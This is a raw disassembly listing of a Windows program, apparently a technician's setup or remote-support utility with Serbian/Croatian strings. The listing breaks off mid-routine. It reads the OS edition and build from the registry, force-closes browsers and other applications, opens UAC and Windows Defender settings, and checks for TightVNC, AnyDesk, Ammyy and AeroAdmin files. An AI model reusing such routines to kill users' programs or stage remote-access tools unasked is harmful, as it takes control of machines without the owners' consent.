push 0x4a5e54
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push 1
mov eax, 0x4976b5
push eax
mov eax, 0x49701e
push eax
push dword [0x4a5e54]
call fcn.004309a0
push 0x4a5e54
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push 1
mov eax, 0x4976b5
push eax
mov eax, 0x49701e
push eax
push dword [0x4a5e54]
call fcn.004309a0
push 0x4a5e54
call fcn.004447c0
mov edx, dword [0x4a5e54]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
push 0x4a5ce4
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, str.CSDVersion
push eax
mov eax, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push eax
push 0x80000002
call fcn.0042c6c2
call fcn.004301d2
add dword [esp], edx
call fcn.00430980
push 0x4a5d48
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, str.PROCESSOR_ARCHITECTURE
push eax
mov eax, str.SYSTEMCurrentControlSetControlSession_ManagerEnvironment_
push eax
push 0x80000002
call fcn.0042c6c2
call fcn.004301d2
add dword [esp], edx
call fcn.00430980
push 0x4a5ee4
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
mov eax, str.amd64
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a5ee4]
call fcn.00430cc0
call fcn.004301d2
add dword [esp], edx
call fcn.00430d80
call fcn.004301f0
mov ebx, eax
and ebx, ebx
jne 0x402af5
push edx
call fcn.00444720
pop edx
push eax
mov eax, 0x49bfe7
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a5ee4]
call fcn.00430cc0
call fcn.004301d2
add dword [esp], edx
call fcn.00430d80
call fcn.004301f0
mov ebx, eax
and ebx, ebx
jne 0x402af5
mov eax, 1
jmp 0x402af7
xor eax, eax
and eax, eax
je 0x402b0d
mov edx, 0x497021
lea ecx, [0x4a5ee4]
call fcn.00430008
jmp 0x402b1d
mov edx, str._64_bit
lea ecx, [0x4a5ee4]
call fcn.00430008
mov dword [0x4a5f90], 0
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x4b
je 0x402b59
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x55
je 0x402b59
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x5f
je 0x402b59
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x69
je 0x402b59
jmp 0x402b60
mov eax, 1
jmp 0x402b62
xor eax, eax
and eax, eax
je 0x402b70
mov dword [0x4a5f90], 1
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, 0x49f6d1
push eax
mov eax, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push eax
push 0x80000002
call fcn.0042c6c2
call fcn.004301d2
add dword [esp], edx
call fcn.00430980
push 0x4a61d4
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, str.ReleaseId
push eax
mov eax, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push eax
push 0x80000002
call fcn.0042c6c2
call fcn.004301d2
add dword [esp], edx
call fcn.00430980
push 0x4a61c4
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, str.CurrentBuild
push eax
mov eax, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push eax
push 0x80000002
call fcn.0042c6c2
call fcn.004301d2
add dword [esp], edx
call fcn.00430980
push 0x4a5fb8
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, str.DisplayVersion
push eax
mov eax, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push eax
push 0x80000002
call fcn.0042c6c2
call fcn.004301d2
add dword [esp], edx
call fcn.00430980
push 0x4a61c8
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push 1
mov eax, str.error
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a61c4]
call fcn.00430cc0
call fcn.004301d2
add dword [esp], edx
call fcn.00430d20
call fcn.004301f0
mov ebx, eax
and ebx, ebx
jle 0x402cda
mov edx, 0x497021
lea ecx, [0x4a61c4]
call fcn.00430008
mov edx, dword [0x4a61c4]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
push 0x4a5b6c
call fcn.004447c0
mov dword [0x4a5ba4], 0
mov dword [0x4a5ab0], 0
push edx
call fcn.00444720
pop edx
push eax
mov eax, str.embedded
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a61d4]
call fcn.00430cc0
call fcn.004301d2
add dword [esp], edx
call fcn.00430d80
call fcn.004301f0
mov ebx, eax
and ebx, ebx
jg 0x402dd5
push edx
call fcn.00444720
pop edx
push eax
mov eax, str.ltsb
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a61d4]
call fcn.00430cc0
call fcn.004301d2
add dword [esp], edx
call fcn.00430d80
call fcn.004301f0
mov ebx, eax
and ebx, ebx
jg 0x402dd5
push edx
call fcn.00444720
pop edx
push eax
mov eax, str.ltsc
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a61d4]
call fcn.00430cc0
call fcn.004301d2
add dword [esp], edx
call fcn.00430d80
call fcn.004301f0
mov ebx, eax
and ebx, ebx
jg 0x402dd5
jmp 0x402ddc
mov eax, 1
jmp 0x402dde
xor eax, eax
and eax, eax
je 0x402dec
mov dword [0x4a5ba4], 1
mov ebx, dword [0x4a5ba4]
and ebx, ebx
jne 0x402e43
push edx
call fcn.00444720
pop edx
push eax
push 1
mov eax, str.server
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a61d4]
call fcn.00430cc0
call fcn.004301d2
add dword [esp], edx
call fcn.00430d20
call fcn.004301f0
mov ebx, eax
and ebx, ebx
jle 0x402e43
mov eax, 1
jmp 0x402e45
xor eax, eax
and eax, eax
je 0x402e53
mov dword [0x4a5f90], 1
mov edx, str.150715111607170317091803180919031909200420H1200920H221H121H2
lea ecx, [0x4a5b54]
call fcn.00430008
call fcn.0043c985
mov ebx, eax
cmp ebx, dword [0x4a5d5c]
jle 0x402e9b
mov edx, dword [0x4a5b54]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.22H2
push edx
call fcn.00444760
push 0x4a5b54
call fcn.004447c0
mov dword [0x4a60c4], 0
mov dword [0x4a6168], 0
mov dword [0x4a5ba8], 0
mov dword [0x4a5b68], 0
mov dword [0x4a626c], 0
mov dword [0x4a6178], 0
mov ebx, dword [0x4a5f90]
and ebx, ebx
jne 0x402f12
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x6e
je 0x402efe
call fcn.004382ae
mov ebx, eax
cmp ebx, 0xc8
je 0x402efe
jmp 0x402f05
mov eax, 1
jmp 0x402f07
xor eax, eax
and eax, eax
je 0x402f12
mov eax, 1
jmp 0x402f14
xor eax, eax
and eax, eax
je 0x4030c6
push dword [0x4a5fb8]
call fcn.00430de0
mov dword [0x4a5ba8], eax
mov ebx, dword [0x4a5ba8]
cmp ebx, 0x55f0
jne 0x402f46
mov dword [0x4a5b68], 1
jmp 0x402f7a
mov ebx, dword [0x4a5ba8]
cmp ebx, 0x585d
jne 0x402f60
mov dword [0x4a626c], 1
jmp 0x402f7a
mov ebx, dword [0x4a5ba8]
cmp ebx, 0x5867
jne 0x402f7a
mov dword [0x4a6178], 1
jmp 0x402f7a
mov ebx, dword [0x4a5ba8]
cmp ebx, 0x55f0
jl 0x4030c6
mov dword [0x4a60c4], 1
push edx
call fcn.00444720
pop edx
push eax
push 1
mov eax, str.home
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a61d4]
call fcn.00430cc0
call fcn.004301d2
add dword [esp], edx
call fcn.00430d20
call fcn.004301f0
mov ebx, eax
and ebx, ebx
jle 0x402ffb
mov edx, str.Windows_11_Home
lea ecx, [0x4a61d4]
call fcn.00430008
mov dword [0x4a6168], 1
jmp 0x4030a8
push edx
call fcn.00444720
pop edx
push eax
push 1
mov eax, str.enterprise
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a61d4]
call fcn.00430cc0
call fcn.004301d2
add dword [esp], edx
call fcn.00430d20
call fcn.004301f0
mov ebx, eax
and ebx, ebx
jg 0x403089
push edx
call fcn.00444720
pop edx
push eax
push 1
mov eax, str._iot
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a61d4]
call fcn.00430cc0
call fcn.004301d2
add dword [esp], edx
call fcn.00430d20
call fcn.004301f0
mov ebx, eax
and ebx, ebx
jg 0x403089
jmp 0x403090
mov eax, 1
jmp 0x403092
xor eax, eax
and eax, eax
je 0x403098
jmp 0x4030a8
mov edx, str.Windows_11_Pro
lea ecx, [0x4a61d4]
call fcn.00430008
mov edx, dword [0x4a61c8]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
push 0x4a61c4
call fcn.004447c0
mov ebx, dword [0x4a5ba4]
and ebx, ebx
jne 0x4030ed
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x6e
jne 0x4030ed
mov ebx, dword [0x4a60c4]
and ebx, ebx
jne 0x4030ed
mov eax, 1
jmp 0x4030ef
xor eax, eax
and eax, eax
je 0x40326b
push dword [0x4a61c8]
call fcn.00430f10
mov ebx, eax
cmp ebx, 4
jne 0x403122
push dword [0x4a61c4]
call fcn.00430f10
mov ebx, eax
cmp ebx, 4
jne 0x403122
mov eax, 1
jmp 0x403124
xor eax, eax
and eax, eax
je 0x40326b
push edx
call fcn.00444720
pop edx
push eax
push 1
mov eax, str.enterprise
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a61d4]
call fcn.00430cc0
call fcn.004301d2
add dword [esp], edx
call fcn.00430d20
call fcn.004301f0
mov ebx, eax
and ebx, ebx
jle 0x4031a5
mov edx, str.Windows_10_Pro
lea ecx, [0x4a61d4]
call fcn.00430008
mov edx, dword [0x4a61c8]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
push 0x4a61c4
call fcn.004447c0
jmp 0x40326b
push edx
call fcn.00444720
pop edx
push eax
push 1
mov eax, str.education
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a61d4]
call fcn.00430cc0
call fcn.004301d2
add dword [esp], edx
call fcn.00430d20
call fcn.004301f0
mov ebx, eax
and ebx, ebx
jle 0x40321b
mov edx, str.Windows_10_Pro
lea ecx, [0x4a61d4]
call fcn.00430008
mov edx, dword [0x4a61c8]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
push 0x4a61c4
call fcn.004447c0
jmp 0x40326b
push dword [0x4a61c8]
mov edx, dword [0x4a61c4]
pop ecx
call fcn.00430180
jne 0x40326b
mov edx, dword [0x4a61c8]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
push 0x4a61c4
call fcn.004447c0
mov edx, dword [0x4a61c8]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
push 0x4a5b6c
call fcn.004447c0
cmp dword [0x4a5ba4], 0
je 0x403291
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x6e
jne 0x403291
mov ebx, dword [0x4a60c4]
and ebx, ebx
jne 0x403291
mov eax, 1
jmp 0x403293
xor eax, eax
and eax, eax
je 0x40331c
push dword [0x4a61c8]
call fcn.00430f10
mov ebx, eax
cmp ebx, 4
jne 0x4032c6
push dword [0x4a61c4]
call fcn.00430f10
mov ebx, eax
cmp ebx, 4
jne 0x4032c6
mov eax, 1
jmp 0x4032c8
xor eax, eax
and eax, eax
je 0x40331c
push dword [0x4a61c8]
mov edx, dword [0x4a61c4]
pop ecx
call fcn.00430180
jne 0x40331c
mov edx, dword [0x4a61c8]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
push 0x4a61c4
call fcn.004447c0
mov edx, dword [0x4a61c8]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
push 0x4a5b6c
call fcn.004447c0
mov ebx, dword [0x4a5ba4]
and ebx, ebx
jne 0x40334d
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x6e
jne 0x40334d
mov ebx, dword [0x4a5f90]
and ebx, ebx
jne 0x40334d
mov ebx, dword [0x4a60c4]
and ebx, ebx
jne 0x40334d
mov eax, 1
jmp 0x40334f
xor eax, eax
and eax, eax
je 0x403405
push dword [0x4a61c8]
call fcn.00430f10
mov ebx, eax
cmp ebx, 4
jne 0x403382
push dword [0x4a61c4]
call fcn.00430f10
mov ebx, eax
cmp ebx, 4
jne 0x403382
mov eax, 1
jmp 0x403384
xor eax, eax
and eax, eax
je 0x403405
push edx
call fcn.00444720
pop edx
push eax
push 1
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a61c4]
call fcn.00430cc0
call fcn.00444850
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a5b54]
call fcn.00430cc0
call fcn.004301d2
add dword [esp], edx
call fcn.004301d2
add dword [esp + 4], edx
call fcn.00430d20
call fcn.004301f0
mov ebx, eax
and ebx, ebx
jle 0x403405
mov dword [0x4a5fa4], 0
mov dword [0x4a60bc], 0xffffff9d
call fcn.00434b3c
and eax, eax
je 0x403412
xor eax, eax
jmp 0x403417
mov eax, 1
and eax, eax
je 0x40342a
push 1
jmp 0x42c237
call fcn.0042cc3a
mov ebx, eax
cmp ebx, 0x62
jl 0x403449
call fcn.0042c29d
mov ebx, eax
cmp ebx, 0x62
jl 0x403449
mov eax, 1
jmp 0x40344b
xor eax, eax
and eax, eax
jne 0x40345a
call fcn.0042c992
and eax, eax
jne 0x40345a
jmp 0x403461
mov eax, 1
jmp 0x403463
xor eax, eax
and eax, eax
je 0x4034fa
mov eax, str.msedge.exe
push eax
call fcn.0042ddbf
mov eax, str.opera.exe
push eax
call fcn.0042ddbf
mov eax, str.chrome.exe
push eax
call fcn.0042ddbf
mov eax, str.brave.exe
push eax
call fcn.0042ddbf
mov eax, str.firefox.exe
push eax
call fcn.0042ddbf
mov eax, str.librewolf.exe
push eax
call fcn.0042ddbf
mov eax, str.chromium.exe
push eax
call fcn.0042ddbf
mov eax, str.vivaldi.exe
push eax
call fcn.0042ddbf
mov eax, str.torch.exe
push eax
call fcn.0042ddbf
mov eax, str.maxthon.exe
push eax
call fcn.0042ddbf
mov eax, str.teams.exe
push eax
call fcn.0042ddbf
mov eax, str.msteams.exe
push eax
call fcn.0042ddbf
mov eax, str.spotify.exe
push eax
call fcn.0042ddbf
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.runtime_VC_redist.x86.exe
push edx
call fcn.00444760
push 0x4a6038
call fcn.004447c0
mov edx, str.vc_redist.x86.exe
lea ecx, [0x4a5ae4]
call fcn.00430008
push dword [0x4a5ee4]
mov edx, 0x497021
pop ecx
call fcn.00430180
jne 0x40357f
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.runtime_VC_redist.x64.exe
push edx
call fcn.00444760
push 0x4a6038
call fcn.004447c0
mov edx, str.vc_redist.x64.exe
lea ecx, [0x4a5ae4]
call fcn.00430008
mov edx, str.c:projekti_
lea ecx, [0x4a5b70]
call fcn.00430008
mov edx, str.bios_up.ini
lea ecx, [0x4a5c40]
call fcn.00430008
mov dword [0x4a5da4], 2
mov dword [0x4a5e4c], 2
mov edx, str.c:programi_
lea ecx, [0x4a6220]
call fcn.00430008
mov edx, str.TightVNC.2_
lea ecx, [0x4a6228]
call fcn.00430008
mov edx, 0x49f79a
lea ecx, [0x4a6280]
call fcn.00430008
mov edx, str.c:_setups_
lea ecx, [0x4a6108]
call fcn.00430008
mov edx, dword [0x4a6220]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.Podrska_
push edx
call fcn.00444760
push 0x4a5b1c
call fcn.004447c0
push dword [0x4a6108]
call fcn.00439a18
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xfffffffe
jne 0x403639
cmp edi, 0xffffffff
jne 0x403639
xor eax, eax
jmp 0x40363e
mov eax, 1
or eax, eax
je 0x40372f
push dword [0x4a6108]
call fcn.00439b3d
and eax, eax
je 0x403699
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x46
jl 0x40366c
mov eax, str.useraccountcontrolsettings
push eax
call fcn.00432a57
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x6e
jl 0x40368f
mov eax, 0x497021
push eax
mov eax, str._windowsdefender:
push eax
mov eax, str.explorer.exe
push eax
call fcn.00432511
push 0x1f4
call fcn.0043853d
cmp dword [0x4a60c4], 0
jne 0x4036c6
cmp dword [0x4a5f90], 0
je 0x4036be
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x6e
jl 0x4036be
mov eax, 1
jmp 0x4036c0
xor eax, eax
and eax, eax
jne 0x4036c6
jmp 0x4036cd
mov eax, 1
jmp 0x4036cf
xor eax, eax
and eax, eax
je 0x40372f
mov eax, 0x497021
push eax
mov eax, str.__c_control
push eax
mov eax, 0x49c4cb
push eax
call fcn.00432511
mov eax, 0x497021
push eax
mov eax, str.__c_ncpa.cpl
push eax
mov eax, 0x49c4cb
push eax
call fcn.00432511
mov eax, 0x497021
push eax
mov eax, str.__c_powercfg.cpl
push eax
mov eax, 0x49c4cb
push eax
call fcn.00432511
mov eax, 0x497021
push eax
mov eax, str.__c_sysdm.cpl
push eax
mov eax, 0x49c4cb
push eax
call fcn.00432511
push dword [0x4a6220]
call fcn.00439a18
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xfffffffe
jne 0x40374c
cmp edi, 0xffffffff
jne 0x40374c
xor eax, eax
jmp 0x403751
mov eax, 1
or eax, eax
je 0x40376e
push dword [0x4a6220]
call fcn.00439b3d
and eax, eax
je 0x40376e
push 0x1f4
call fcn.0043853d
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6220]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6228]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xfffffffe
jne 0x4037ba
cmp edi, 0xffffffff
jne 0x4037ba
xor eax, eax
jmp 0x4037bf
mov eax, 1
or eax, eax
je 0x40380b
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6220]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6228]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439b3d
call fcn.004301f0
and eax, eax
je 0x40380b
push 0x1f4
call fcn.0043853d
mov edx, str.c:_bekapi__
lea ecx, [0x4a5d0c]
call fcn.00430008
push dword [0x4a5d0c]
call fcn.00439a18
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xfffffffe
jne 0x403838
cmp edi, 0xffffffff
jne 0x403838
xor eax, eax
jmp 0x40383d
mov eax, 1
or eax, eax
je 0x40385a
push dword [0x4a5d0c]
call fcn.00439b3d
and eax, eax
je 0x40385a
push 0x3e7
call fcn.0043853d
mov edx, str.C:Program_FilesStartAllBackStartAllBackCfg.exe
lea ecx, [0x4a5e6c]
call fcn.00430008
cmp dword [0x4a60c4], 0
je 0x403886
mov ebx, dword [0x4a5f90]
and ebx, ebx
jne 0x403886
jmp 0x403886
xor eax, eax
and eax, eax
je 0x403adb
push dword [0x4a5c40]
call fcn.00432f97
and eax, eax
je 0x4038ba
push dword [0x4a5e4c]
mov eax, str.NoStartAll
push eax
call fcn.00432fd5
mov dword [0x4a5e4c], eax
call fcn.0043300a
push dword [0x4a5e6c]
call fcn.00439a18
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xffffffff
jne 0x4038d3
cmp edi, 0xffffffff
je 0x4038d7
xor eax, eax
jmp 0x4038dc
mov eax, 1
or eax, eax
je 0x4038f2
mov ebx, dword [0x4a5e4c]
cmp ebx, 2
jne 0x4038f2
mov eax, 1
jmp 0x4038f4
xor eax, eax
and eax, eax
je 0x403adb
push edx
call fcn.00444720
pop edx
push eax
push 4
mov eax, str.Da___Ne__
push eax
push edx
call fcn.00444720
pop edx
push eax
mov edx, str.Install
push edx
call fcn.00444760
mov edx, dword [0x4a5f7c]
push edx
call fcn.00444760
mov edx, 0x4975e6
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00431ac4
call fcn.004301f0
mov ebx, eax
cmp ebx, 6
jne 0x403aac
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a5f7c]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jl 0x4039a7
jg 0x4039a3
cmp ebx, 0x1869f
jb 0x4039a7
xor eax, eax
jmp 0x4039ac
mov eax, 1
or eax, eax
je 0x403a00
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a5f7c]
push edx
call fcn.00444760
call fcn.00444850
push dword [0x4a5d54]
call fcn.004301d2
add dword [esp + 4], edx
call fcn.00434697
call fcn.004301f0
and eax, eax
je 0x403a00
dec dword [0x4a60bc]
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a5f7c]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x403a51
jl 0x403a4d
cmp ebx, 0x1869f
ja 0x403a51
xor eax, eax
jmp 0x403a56
mov eax, 1
or eax, eax
je 0x403aaa
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a6108]
mov eax, 0x497837
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a5f7c]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.0042c306
call fcn.004301f0
mov dword [0x4a5e4c], 0
jmp 0x403ab6
mov dword [0x4a5e4c], 1
push dword [0x4a5c40]
call fcn.00432f97
and eax, eax
je 0x403adb
push dword [0x4a5e4c]
mov eax, str.NoStartAll
push eax
call fcn.0043301c
call fcn.0043300a
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a5f7c]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jl 0x403b29
jg 0x403b25
cmp ebx, 0
jb 0x403b29
xor eax, eax
jmp 0x403b2e
mov eax, 1
or eax, eax
jne 0x403b6c
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a5f7c]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439be4
call fcn.004301f0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
call fcn.00439bf2
mov edx, str.Downloads_
push edx
call fcn.00444760
push 0x4a5b40
call fcn.004447c0
push dword [0x4a5b40]
call fcn.00439a18
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xfffffffe
jne 0x403bb3
cmp edi, 0xffffffff
jne 0x403bb3
xor eax, eax
jmp 0x403bb8
mov eax, 1
or eax, eax
je 0x403be6
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
call fcn.00439bf2
mov edx, str.Preuzimanje_
push edx
call fcn.00444760
push 0x4a5b40
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
call fcn.00439bf2
mov edx, str.Radna_Povr
push edx
call fcn.00444760
push 0x4a5fdc
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
call fcn.00439bf2
mov edx, str.Desktop_
push edx
call fcn.00444760
push 0x4a5eb8
call fcn.004447c0
push dword [0x4a5eb8]
call fcn.00439a18
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xfffffffe
jne 0x403c57
cmp edi, 0xffffffff
jne 0x403c57
xor eax, eax
jmp 0x403c5c
mov eax, 1
or eax, eax
je 0x403c7e
mov edx, dword [0x4a5fdc]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
push 0x4a5eb8
call fcn.004447c0
push dword [0x4a5eb8]
call fcn.00439a18
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xfffffffe
jne 0x403c9b
cmp edi, 0xffffffff
jne 0x403c9b
xor eax, eax
jmp 0x403ca0
mov eax, 1
or eax, eax
je 0x403cb4
mov edx, str.C:UsersPublicDesktop_
lea ecx, [0x4a5eb8]
call fcn.00430008
push dword [0x4a5eb8]
call fcn.00439a18
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xfffffffe
jne 0x403cd1
cmp edi, 0xffffffff
jne 0x403cd1
xor eax, eax
jmp 0x403cd6
mov eax, 1
or eax, eax
je 0x403cea
mov edx, str.C:Documents_and_SettingsAll_UsersDesktop_
lea ecx, [0x4a5eb8]
call fcn.00430008
mov edx, str.c:userspublicdesktop_
lea ecx, [0x4a5c28]
call fcn.00430008
mov edx, str.C:Documents_and_SettingsAll_UsersDesktop_
lea ecx, [0x4a5aa4]
call fcn.00430008
mov edx, str.:_bekapi__
lea ecx, [0x4a5fd4]
call fcn.00430008
mov dword [0x4a5d38], 1
jmp 0x403d26
mov eax, 0x17
cmp eax, dword [0x4a5d38]
jl 0x403dee
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, 0x498274
push eax
call fcn.00430f40
mov ebx, eax
add ebx, dword [0x4a5d38]
push ebx
call fcn.00430f60
mov edx, dword [0x4a5fd4]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xfffffffe
jne 0x403d94
cmp edi, 0xffffffff
je 0x403d98
xor eax, eax
jmp 0x403d9d
mov eax, 1
or eax, eax
je 0x403de2
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, 0x498274
push eax
call fcn.00430f40
mov ebx, eax
add ebx, dword [0x4a5d38]
push ebx
call fcn.00430f60
mov edx, dword [0x4a5fd4]
push edx
call fcn.00444760
push 0x4a5fd4
call fcn.004447c0
jmp 0x403dee
inc dword [0x4a5d38]
jno 0x403d26
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push 1
push dword [0x4a5fd4]
call fcn.00430f80
call fcn.00444850
mov edx, 0x497b26
call fcn.004301b0
mov ecx, eax
call fcn.00430180
je 0x403e36
mov edx, 0x497021
lea ecx, [0x4a5fd4]
call fcn.00430008
mov edx, str.ammyy.exe
lea ecx, [0x4a5e50]
call fcn.00430008
mov edx, str.AeroAdmin.exe
lea ecx, [0x4a5df4]
call fcn.00430008
mov edx, str.AnyDesk.exe
lea ecx, [0x4a6210]
call fcn.00430008
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a5b1c]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x403eb7
jl 0x403eb3
cmp ebx, 0x1869f
ja 0x403eb7
xor eax, eax
jmp 0x403ebc
mov eax, 1
or eax, eax
je 0x403fa0
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a5b1c]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6210]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439be4
call fcn.004301f0
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a5e50]
push edx
call fcn.00444760
call fcn.00444850
mov edx, dword [0x4a5b1c]
push edx
call fcn.00444720
pop edx
push eax
